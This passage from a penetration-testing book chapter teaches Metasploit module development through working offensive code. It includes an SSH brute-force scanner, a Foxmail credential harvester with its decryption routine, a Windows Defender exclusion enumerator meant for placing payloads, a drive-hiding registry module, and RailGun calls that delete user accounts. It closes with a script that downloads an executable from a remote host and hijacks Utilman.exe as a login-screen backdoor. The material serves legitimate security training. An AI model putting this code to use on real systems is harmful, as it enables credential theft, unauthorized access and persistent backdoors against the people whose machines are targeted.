proxies: datastore['Proxies'],

stop_on_success: datastore['STOP_ON_SUCCESS'],

bruteforce_speed: datastore['BRUTEFORCE_SPEED'],

connection_timeout: datastore['SSH_TIMEOUT'],

framework: framework,

framework_module: self,

)

We can see that we have two objects in the preceding code, which are cred_collection and scanner. An important point to make a note of here is that we do not require any manual methods of logging into the SSH service because the login scanner does everything for us. Therefore, cred_collection is doing nothing but yielding sets of credentials based on the datastore options set on a module. The beauty of the CredentialCollection class lies in the fact that it can take a single username/password combination, wordlists, and blank credentials all at once, or one of them at a time.

All login scanner modules require credential objects for their login attempts. The scanner object defined in the preceding code initializes an object for the SSH class. This object stores the address of the target, port, and credentials as generated by the CredentialCollection class, and other data-like proxy information. stop_on_success, which will stop the scanning on the successful credential match, brute force speed, and the value of the attempted timeout.

Up to this point in the module, we have created two objects: cred_collection, which will generate credentials based on the user input, and the scanner object, which will use those credentials to scan the target. Next, we need to define a mechanism so that all the credentials from a wordlist are defined as single parameters and are tested against the target.

We have already seen the usage of run_host in previous examples. Let's see what other vital functions from various libraries we are going to use in this module:

Let's move on to the next piece of code, as follows:

scanner.scan! do |result|

credential_data = result.to_h

credential_data.merge!(

module_fullname: self.fullname,

workspace_id: myworkspace_id

)

if result.success?

credential_core = create_credential(credential_data)

credential_data[:core] = credential_core

create_credential_login(credential_data)

print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}"

else

invalidate_login(credential_data)

print_status "#{ip} - LOGIN FAILED: #{result.credential}(#{result.status}: #{result.proof})"

end

end

end

end

It can be observed that we used .scan to initialize the scan, and this will perform all the login attempts by itself, which means we do not need to specify any other mechanism explicitly. The .scan instruction is exactly like an each loop in Ruby.

In the next statement, the results get saved in the result object and are assigned to the credential_data variable using the to_h method, which will convert the data to a hash format. In the next line, we merge the module name and workspace ID into the credential_data variable. Next, we run an if-else check on the result object using the .success variable, which denotes successful login attempts into the target. If result.success? returns true, we mark the credential as a successful login attempt and store it in the database. However, if the condition is not satisfied, we pass the credential_data variable to the invalidate_login method, which denotes a failed login.

It is advisable to run all the modules in this chapter and all the later chapters only after performing a consistency check through msftidy. Let's try running the module, as follows:

Figure 2.16 – Running the SSH bruteforce module against the Ubuntu server 16.04 target

We can see that we were able to log in with root and qwerty as the username and password. Let's see if we were able to log the credentials into the database using the creds command:

Figure 2.17 – Listing the found credentials using the creds command

We can see that we have the details logged into the database, and they can be used to carry out advanced attacks, or for reporting.

Rephrasing the equation

If you are scratching your head after working on the module listed previously, let's understand the module in a step-by-step fashion:

  1. We've created a CredentialCollection object that takes any user as input and yields credentials, which means that if we provide USERNAME as root and PASSWORD as root, it will yield those as a single credential. However, if we use USER_FILE and PASS_FILE as dictionaries, then it will take each username and password from the dictionary file and will generate credentials for each combination of username and password from the files, respectively.
  2. We've created a scanner object for SSH, which will eliminate any manual command usage and will simply check all the combinations we supplied one after the other.
  3. We've run our scanner using the .scan method, which will initialize the authentication of brute force on the target.
  4. The .scan method will scan all credentials one after the other and, based on the result, will store it in the database and display it with print_good, else it will show it using print_status without saving it.

Developing post-exploitation modules

The post-exploitation phase begins as soon as we acquire an initial foothold on the target machine. Metasploit contains many post-exploitation modules that can serve as an excellent reference guide while building our own. In the upcoming sections, we will build various types of post-exploitation modules covering a variety of different methods supported by Metasploit.

The Credential Harvester module

In this example module, we will attack Foxmail 6.5. We will try decrypting the credentials and storing them in the database. Let's see the code:

class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File

include Msf::Auxiliary::Report

include Msf::Post::Windows::UserProfiles

def initialize(info={})

super(update_info(info,

'Name' => 'FoxMail 6.5 Credential Harvester',

'Description' => %q{

This Module Finds and Decrypts Stored Foxmail 6.5 Credentials

},

'License' => MSF_LICENSE,

'Author' => ['Nipun Jaswal'],

'Platform' => [ 'win' ],

'SessionTypes' => [ 'meterpreter' ]

))

end

Quite simply, as we saw in the previous module, we start by including all the required libraries and providing the necessary information about the module.

We have already seen the usage of Msf::Post::Windows::Registry and Msf::Auxiliary::Report. Let's look at the details of the new libraries we included in this module, as follows:

Before understanding the next part of the module, let's see what we need to perform to harvest the credentials.

We will search for user profiles and find the exact path for the current user's LocalAppData directory:

  1. We will use the previously found path and concatenate it with VirtualStoreProgram Files (x86)Foxmailmail to establish a complete path to the mail directory.
  2. We will list all the directories from the mail directory and will store them in an array. However, the directory names in the mail directory will use the naming convention of the username for various mail providers. For example, [email protected] would be one of the directories present in the mail directory.
  3. Next, we will find the Account.stg file in the accounts directories found under the mail directory.
  4. We will read the Account.stg file and will find the hash value for the constant named POP3Password.
  5. We will pass the hash value to our decryption method, which will find the password in plain text.
  6. We will store the value in the database.

Quite simple! Let's analyze the code:

def run

profile = grab_user_profiles() counter = 0

data_entry = "" profile.each do |user| if user['LocalAppData']

full_path = user['LocalAppData']

full_path = full_path+"VirtualStoreProgram Files (x86)Foxmailmail"

if directory?(full_path)

print_good("Fox Mail Installed, Enumerating Mail Accounts") session.fs.dir.foreach(full_path) do |dir_list|

if dir_list =~ /@/ counter=counter+1

full_path_mail = full_path+ "" + dir_list + "" + "Account.stg" if file?(full_path_mail)

print_good("Reading Mail Account #{counter}") file_content = read_file(full_path_mail).split("n")

Before starting to understand the previous code, let's see what important functions are used in it, for a better approach toward its usage:

We can see in the preceding code that we grabbed the profiles using grab_user_profiles() and, for each profile, we tried finding the LocalAppData directory. As soon as we found it, we stored it in a variable called full_path.

Next, we concatenated the path to the mail folder where all the accounts are listed as directories. We checked the path existence using directory? and, on success, we copied all the directory names that contained @ in the name to dir_list using the regex match. Next, we created another variable called full_path_mail and stored the exact path to the Account.stg file for each email. We made sure that the Account.stg file existed by using file?. On success, we read the file and split all the contents at newline. We stored the split content into the file_content list. Let's see the next part of the code:

file_content.each do |hash| if hash =~ /POP3Password/ hash_data = hash.split("=") hash_value = hash_data[1] if hash_value.nil?

print_error("No Saved Password") else

print_good("Decrypting Password for mail account: #{dir_list}") decrypted_pass = decrypt(hash_value,dir_list)

data_entry << "Username:" +dir_list + "t" + "Password:" + decrypted_pass+"n"

end

end

end

end

end

end

end

end

end

store_loot("Foxmail Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts")

end

For each entry in file_content, we ran a check to find the constant POP3Password. Once found, we split the constant at = and stored the value of the constant in a variable, hash_value.

Next, we directly pass hash_value and dir_list (account name) to the decrypt function. After successful decryption, the plain password gets stored in the decrypted_pass variable. We create another variable called data_entry and append all the credentials to it. We do this because we don't know how many email accounts might be configured on the target. Therefore, for each result, the credentials get appended to data_entry. After all the operations are complete, we store the data_entry variable in the database using the store_loot method. We supply six arguments to the store_loot method, which are named for the harvest, its content type, session, data_entry, the name of the file, and the description of the harvest.

Let's understand the decrypt function, as follows:

def decrypt(hash_real,dir_list)

decoded = ""

magic = Array[126, 100, 114, 97, 71,

fc0 = 90

size = (hash_real.length)/2 - 1

index = 0

b = Array.new(size)

for i in 0 .. size do

b[i] = (hash_real[index,2]).hex

index = index+2

end

b[0] = b[0] ^ fc0

double_magic = magic+magic

d = Array.new(b.length-1)

for i in 1 .. b.length-1 do

d[i-1] = b[i] ^ double_magic[i-1]

end

e = Array.new(d.length)

for i in 0 .. d.length-1

if (d[i] - b[i] < 0)

e[i] = d[i] + 255 - b[i]

else

e[i] = d[i] - b[i]

end

decoded << e[i].chr

end

print_good("Found Username #{dir_list} with Password: #{decoded}") return decoded

end end

In the previous method, we received two arguments, which were the hashed password and username. The magic variable is the decryption key stored in an array containing decimal values for the ~draGon~ string, one after the other. We store the integer 90 as fc0, which we will talk about a bit later.

Next, we find the size of the hash by dividing it by two and subtracting one from it. This will be the size of our new array, b.

In the next step, we split the hash into bytes (two characters each) and store it in array b. We perform XOR on the first byte of array b, with fc0 in the first byte of b itself, thus updating the value of b[0] by performing the XOR operation on it with 90. This is fixed for Foxmail 6.5.

Now, we copy the magic array twice into a new array, double_magic. We also declare the size of double_magic as one less than that of array b. We perform XOR on all the elements of array b and the double_magic array, except the first element of b, on which we already performed the XOR operation.

We store the result of the XOR operation in array d. We subtract the complete array d from array b in the next instruction. However, if the value is less than 0 for a particular subtraction operation, we add 255 to the element of array d.

In the next step, we simply append the ASCII value of the particular element from the resultant array e into the decoded variable and return it to the calling statement.

Let's see what happens when we run this module:

Figure 2.18 – Running the Foxmail decryption module

It is clear that we easily decrypted the credentials stored in Foxmail 6.5. Additionally, since we used the store_loot command, we can see the saved credentials in the .msf/loot directory as follows:

Figure 2.19 – Finding loot in the .msf4/loot directory

Let's build a simple yet powerful utility for Windows in the next section based on the knowledge gained from working on all the previously discussed modules.

The Windows Defender exception harvester

Microsoft Windows Defender is one of the primary defences for Windows-based operating systems if an additional antivirus is not present. Knowledge of the directories, files, and paths in the trusted list / exception lists are handy when we need to download a second-stage executable or a larger payload. Let's build a simple module that will enumerate the list of exception types and find all their subsequent values, which are nothing but entries denoting paths and files. So, let's get started:

def run()

    win_defender_trust_registry = "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions"

    win_defender_trust_types = registry_enumkeys(win_defender_trust_registry)

    win_defender_trust_types.each do |trust|

    trustlist = registry_enumvals("#{win_defender_trust_registry}\#{trust}")

    if trustlist.length > 0

        print_status("Trust List Have entries in  #{trust}")

        trustlist.each do |value|

        print_good(" #{value}")

    end

    end

    end

  end

end

A module, as discussed previously, starts with common headers and information; we have covered this enough, so here, we will move on to the run function, which is launched over the target. The win_defender_trust_registry variable stores the value of the registry key containing the exception types, which we fetch through the registry_enumkeys function. We simply move on and fetch values for each of the exception types and print them on the screen after checking their length, which must be greater than zero. This is a short and sweet module with simple code, but the information we get is quite significant. Let's run the module on a compromised system and check the output:

Figure 2.20 – Running the Windows Defender exception finder module against Windows 7

We can see that we have a trusted path, which is the Downloads folder of the user Apex in the exception list. This means any malware planted in this particular directory won't be scanned by the Windows Defender antivirus. Let's notch up to a little advanced module in the next section.

The drive-disabler module

As we have now seen the basics of module building, we can go a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target has been compromised successfully.

So, let's begin with a simple drive-disabler module, which will disable the selected drive at the target system, which is the Windows 7 OS. Let's see the code for the module, as follows:

require 'rex'

require 'msf/core/post/windows/registry'

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::Registry

  def initialize

    super(

        'Name'          => 'Drive Disabler',

        'Description'   => 'This Modules Hides and Restrict Access to a Drive',

        'License'       => MSF_LICENSE,

        'Author'        => 'Nipun Jaswal'

      )

    register_options(

      [

        OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ])

      ])

  end

We started in the same way as we did in the previous modules. We added the path to all the required libraries we needed for this post-exploitation module. Let's see any new inclusions and their usage in the following table:

Next, we define the type of module as Post for post-exploitation. Proceeding with the code, we describe the necessary information for the module in the initialize method. We can always define register_options to define our custom options to use with the module. Here, we describe DriveName as a string data type using OptString.new. The definition of a new option requires two parameters that are required and a description. We set the value of required to true because we need a drive letter to initiate the hiding and disabling process. Hence, setting it to true won't allow the module to run unless a value is assigned to it. Next, we define the description of the newly added DriveName option.

Before proceeding to the next part of the code, let's see what important functions we are going to use in this module:

Let's see the remaining part of the module:

def run

drive_int = drive_string(datastore['DriveName']) key1="HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer"

exists = meterpreter_registry_key_exist?(key1)

if not exists

print_error("Key Doesn't Exist, Creating Key!") registry_createkey(key1)

print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_NATIVE)

print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

else

print_good("Key Exist, Skipping and Creating Values") print_good("Hiding Drive")

meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_NATIVE)

print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

end

print_good("Disabled #{datastore['DriveName']} Drive")

end

We generally run a post-exploitation module using the run method. So, defining run, we send the DriveName variable to the drive_string method to get the numeric value for the drive.

We created a variable called key1 and stored the path of the registry in it. We will use meterpreter_registry_key_exist to check whether the key already exists in the system or not. If the key exists, the value of the exists variable is assigned true or false. If the value of the exists variable is false, we create the key using registry_createkey(key1) and then proceed to create the values. However, if the condition is true, we simply create values.

To hide drives and restrict access, we need to create two registry values, which are NoDrives and NoViewOnDrive, with the value of the drive letter in decimal or hexadecimal form, and its type as DWORD.

We can do this using meterpreter_registry_setvaldata since we are using the Meterpreter shell. We need to supply five parameters to the meterpreter_registry_setvaldata function to ensure its proper functioning. These parameters are the key path as a string, the name of the registry value as a string, the decimal value of the drive letter as a string, the type of registry value as a string, and the view as an integer value, which would be 0 for native, 1 for 32-bit view, and 2 for 64-bit view.

An example of meterpreter_registry_setvaldata can be broken down as follows:

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

In the preceding code, we set the path as key1, the value as NoViewOnDrives, 16 as a decimal for drive D, REG_DWORD as the type of registry, and REGISTRY_VIEW_NATIVE, which supplies 0.

For 32-bit registry access, we need to provide 1 as the view parameter, and for 64-bit, we need to supply 2. However, this can be done using REGISTRY_VIEW_32_BIT and REGISTRY_VIEW_64_BIT, respectively.

You might be wondering how we knew that for drive E we need to have the value of the bitmask as 16? Let's see how the bitmask can be calculated in the following section.

To calculate the bitmask for a particular drive, we have the formula 2^([drive character serial number]-1). Suppose we need to disable drive E. We know that character E is the fifth character in the alphabet. Therefore, we can calculate the exact bitmask value for disabling drive E, as follows:

2^ (5-1) = 2^4= 16

The bitmask value is 16 for disabling the E drive. However, in the introductory module, we hardcoded a few values in the drive_string method using the case switch. Let's see how we did that:

def drive_string(drive)

case drive

when "A" return 1

when "B" return 2

when "C" return 4

when "D" return 8

when "E" return 16

end

end

end

We can see that the previous method takes a drive letter as an argument and returns its corresponding numeral to the calling function. Let see how many drives there are on the target system:

Figure 2.21 – Viewing the available drives on the target machine

We can see we have three drives: drive C, drive D, and drive E. Let's also check the registry entries where we will be writing the new keys with our module:

Figure 2.22 – Checking the existence of registry keys

We can see we don't have an explorer key yet. Let's run the module, as follows:

Figure 2.23 – Running the drive disabling module

We can see that the key doesn't exist and, according to the execution of our module, it should have written the keys in the registry. Let's check the registry once again:

Figure 2.24 – Rechecking the existence of registry keys

We can see we have the keys present. Upon logging out and logging back in to the system, drive E should have disappeared. Let's check:

Figure 2.25 – Viewing the drives on the target demonstrating the E drive as hidden

No signs of drive E. Hence, we successfully disabled drive E from the user's view, and restricted access to it.

We can create as many post-exploitation modules as we want according to our needs. I recommend you put some extra time toward the libraries of Metasploit.

Make sure that you have SYSTEM-level access for the preceding script to work, as SYSTEM privileges will not create the registry under the current user, but will create it on the local machine. In addition to this, we have used HKLM instead of writing HKEY_LOCAL_MACHINE, because of the inbuilt normalization that will automatically create the full form of the key. I recommend that you check the registry.rb file to see the various available methods. Let's now use RailGun for post-exploitation within Metasploit and see how we can take advantage of features from the target that may not be present using Metasploit in the next section.

Tip

If you don't have system privileges, try using the exploit/windows/local/bypassuac module and switch to the escalated shell, and then try the preceding module.

Post-exploitation with RailGun

RailGun sounds like a top-notch gun spitting out bullets faster than light; however, this is not the case. RailGun allows you to make calls to a Windows API without the need to compile your own DLL. It supports various Windows DLL files and eases the way for us to perform system-level tasks on the victim machine. Let's see how we can perform various tasks using RailGun, and carry out some advanced post-exploitation with it.

Manipulating Meterpreter through Interactive Ruby Shell

RailGun requires the irb shell to be loaded into Meterpreter. Let's look at how we can jump to the irb shell from Meterpreter:

Figure 2.26 – Running the irb shell from Meterpreter

We can see in the preceding screenshot that merely typing in irb from Meterpreter allows us to drop in the Ruby-interactive shell. We can perform a variety of tasks with the Ruby shell from here. Metasploit also informs us that the client variable holds the Meterpreter client, which means we can manipulate the client object to develop custom scripts. Issuing a client command in the interactive shell gives us insights in to the Meterpreter shell we have over the 192.168.248.138 machine. Let's see what methods we have available using the client.methods command as follows:

Figure 2.27 – Listing available methods for the client object

Lots of methods, as shown in the preceding screenshot, are available to us. But a few of the ones listed in the very first line are of supreme importance. Let's see an example:

Figure 2.28 – Using the client.fs object and finding aliases

Using the client.fs (filesystem) method with the client object, we get a long informational string containing aliases such as dir, file, and mount. Let's see how we can manipulate these aliases as follows:

Figure 2.29 – Figuring out usable methods from the dir, file, and mount aliases

We can use .methods with the aliases and can see that plenty of methods are now available for us to use. Let's try a simple one such as pwd from dir class methods as follows:

Figure 2.30 – Getting the present directory and creating a new directory named joe2 on the desktop of the target

Since we just created a new directory on the target's desktop, let's see whether it exists, as shown in the following commands:

Figure 2.31 – Checking the existence of the created directory and a non-existent directory

We saved the directory name we created into the variable a and used client.fs.file.exist?a, which checked the existence of the directory and returned a Boolean result. We can also see that changing the directory name to something else returns false since that directory doesn't exist. Similarly, we can make use of multiple objects and also can write a script for these commands and drop it to the /opt/metasploit-framework/embedded/framework/scripts/meterpreter directory as shown in the following:

Figure 2.32 – Creating a Meterpreter script

Dropping the preceding script into the /meterpreter directory with masteringmetasploit.rb as the name, let's run the preceding script in Meterpreter as follows:

Figure 2.33 – Running the custom Meterpreter script

We saw how we could manipulate our current Meterpreter session using a client object. Let's go deeper into some of the advanced functionalities offered by the irb session in the next section.

Understanding RailGun objects and finding functions

RailGun gives us immense power to perform tasks that Metasploit may not be able to carry out at times. Using RailGun, we can raise calls to any DLL file from the breached system. Let's see some of the basics of RailGun as follows:

Figure 2.34 – Using the client.railgun object

We can see that as soon as we issue the client.railgun command, we fetch basic details on the Meterpreter session. RailGun allows us to call functions from DLL files on the target. Let's see the available known DLL files using the command.railgun.known_dll_names command as follows:

Figure 2.35 – Listing out known DLL files

We can see that we have multiple DLL files available. However, calling any Windows API function from the previously listed DLL files requires an understanding of the function parameters and return values. The functions can be called as shown in the following code:

client.railgun.DLLname.function(parameters)

This is the basic structure of an API call in RailGun. The client.railgun keyword defines the need for RailGun functionality for the client. The DLLname keyword specifies the name of the DLL file to which we will be making a call. The function(parameters) keyword in the syntax specifies the actual API function that is to be provoked with required parameters from the DLL file. Let's try fetching function information from one of the DLL files through the following command:

session.railgun.user32.functions.each_pair {|n, v| puts "Function: #{n}, Return Value Type: #{v.return_type}, Parameters: #{v.params} "}

The preceding command fetches all functions, their return value type, and parameters to be passed by making use of the v and n variables. Let's run this command as follows:

Figure 2.36 – Harvesting functions from user32.dll along with parameters and return types

We can see that we have a list of all the functions along with their parameters and return value types. We can make use of these Windows API functions directly on the target, as shown in the following code:

Figure 2.37 – Invoking an alert box on the target system

On the target side, we can expect something similar to the following screen:

Figure 2.38 – Invoked alert box on the target machine

Similarly, we can perform a variety of other API calls, such as locking the system using the client.railgun.user32.LockWorkStation() command:

Figure 2.39 – Locking the target's workstation

While on the target's end, we can expect something like the following screen:

Figure 2.40 – Locked target's workstation

The target machine has two users, Apex and Hacker. Let's try removing the user Hacker, which is shown in the following screenshot:

Figure 2.41 – Viewing accounts on the target machine

Let's issue the NetUserDel API call from netapi32.dll, as shown in the following code:

client.railgun.netapi32.NetUserDel(nil,"Hacker")

Invoking the preceding API call should remove the user. Rechecking the screen, we can see that we are only left with the Apex user, as shown in the following screenshot:

Figure 2.42 – Accounts on the target machine demonstrating a successful removal of username Hacker

Figure 2.42 – Accounts on the target machine demonstrating the successful removal of the username Hacker

The user seems to have gone fishing. RailGun call has removed the user Hacker successfully. The nil value in the command parameters defines that the user is on the local machine.

Manipulating Windows APIs using RailGun

DLL files are responsible for carrying out the majority of tasks on Windows-based systems. Therefore, it is essential to understand which DLL file contains which methods. This is very similar to the library files of Metasploit, which have various methods in them. To study Windows API calls, we have excellent resources at http://source.winehq.org/WineAPI/ and http://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx.

I recommend you explore a variety of API calls before proceeding further with creating RailGun scripts.

Tip:

Refer to the following path to find out more about RailGun-supported DLL files: /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def

Adding custom DLLs to RailGun

Taking this a step further, let's delve deeper into writing scripts using RailGun for Meterpreter extensions. First, let's create a script that will add a custom-named DLL file to the Metasploit context:

if client.railgun.get_dll('urlmon') == nil

print_status("Adding Function")

end

client.railgun.add_dll('urlmon','C:WINDOWSsystem32urlmon.dll')

client.railgun.add_function('urlmon','URLDownloadToFileA','DWORD',[ ["DWORD","pcalle$

["PCHAR","szURL","in"],

["PCHAR","szFileName","in"],

["DWORD","Reserved","in"],

["DWORD","lpfnCB","in"],

])

Save the code under a file named urlmon.rb, under the /scripts/meterpreter directory. The preceding script adds a reference path to the C:WINDOWSsystem32urlmon.dll file that contains all the required functions for browsing, and functions such as downloading a particular file. We save this reference path under the name urlmon. Next, we add a function to the DLL file using the DLL file's name as the first parameter, and the name of the function we are going to hook as the second parameter, which is URLDownloadToFileA, followed by the required parameters. The very first line of the code checks whether the DLL function is already present in the DLL file or not. If it is already present, the script will skip adding the function again. The pcaller parameter is set to NULL if the calling application is not an ActiveX component; if it is, it is set to the COM object. The szURL parameter specifies the URL to download. The szFileName parameter specifies the filename of the downloaded object from the URL. Reserved is always set to NULL, and lpfnCB handles the status of the download. However, if the status is not required, this value should be set to NULL.

Let's now create another script that will make use of this function. We will create a post-exploitation script that will download a freeware file manager and will modify the entry for the utility manager on the Windows OS. Therefore, whenever a call is made to the utility manager, our freeware program will run instead.

We create another script in the same directory and name it railgun_demo.rb, as follows:

client.railgun.urlmon.URLDownloadToFileA(0,"http://192.168.248.149/A43.exe","C:\Windows\System32\a43.exe",0,0)

key="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe"

syskey=registry_createkey(key)

registry_setvaldata(key,'Debugger','a43.exe','REG_SZ')

As stated previously, the first line of the script will call the custom-added DLL function URLDownloadToFile from the urlmon DLL file, with the required parameters. Next, we create a key, Utilman.exe, under the parent key, HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\Image File Execution Options. We create a registry value of type REG_SZ named Debugger under the utilman.exe key. Lastly, we assign the value a43.exe to the debugger.

Let's run this script from Meterpreter to see how things work:

Figure 2.43 – Loading the custom DLL and running the railgun_demo module from Meterpreter

As soon as we run the railgun_demo script, the file manager is downloaded using the urlmon.dll file and is placed in the system32 directory. Next, registry keys are created that replace the default behavior of the utility manager to run the a43.exe file. Therefore, whenever the ease-of-access button is pressed from the login screen, instead of the utility manager, the a43 file manager shows up and serves as a login screen backdoor on the target system. Let's see what happens when we press the ease-of-access button from the login screen, in the following screenshot:

Figure 2.44 – Demonstration of a successfully planted logon backdoor

We can see that it opens an a43 file manager instead of the utility manager. We can now perform a variety of functions, including modifying the registry, interacting with CMD, and much more, without logging in to the target. You can see the power of RailGun, which eases the process of creating a path to whichever DLL file you want, and allows you to add custom functions to it as well.

Tip

More information on this DLL function is available at https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85).

There are known issues with RailGun for Metasploit 5. If you face any errors with it, use Metasploit 4.x version for RailGun exercises.

For additional learning, you can try the following exercises:

  • Create an authentication brute force module for FTP.
  • Work on at least three post-exploitation modules each for Windows, Linux, and macOS, which are not yet a part of Metasploit.
  • Work on RailGun and develop custom modules for at least three different functions from any unknown Windows DLLs.

Summary

In this chapter, we covered coding for Metasploit. We worked on modules, post-exploitation scripts, Meterpreter, RailGun, and Ruby programming. Throughout this chapter, we saw how we could add our custom functions to the Metasploit Framework, and make the already robust framework much more powerful. We began by familiarizing ourselves with the basics of Ruby. We learned about writing auxiliary modules, post-exploitation scripts, and Meterpreter extensions. We saw how we could make use of RailGun to add custom functions, such as adding a DLL file and a custom function to the target's DLL files.

In the next chapter, we will look at development in context and exploiting modules in Metasploit. This is where we will begin to write custom exploits, fuzz various parameters for exploitation, exploit software, and write advanced exploits for software and the web.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.217.6.114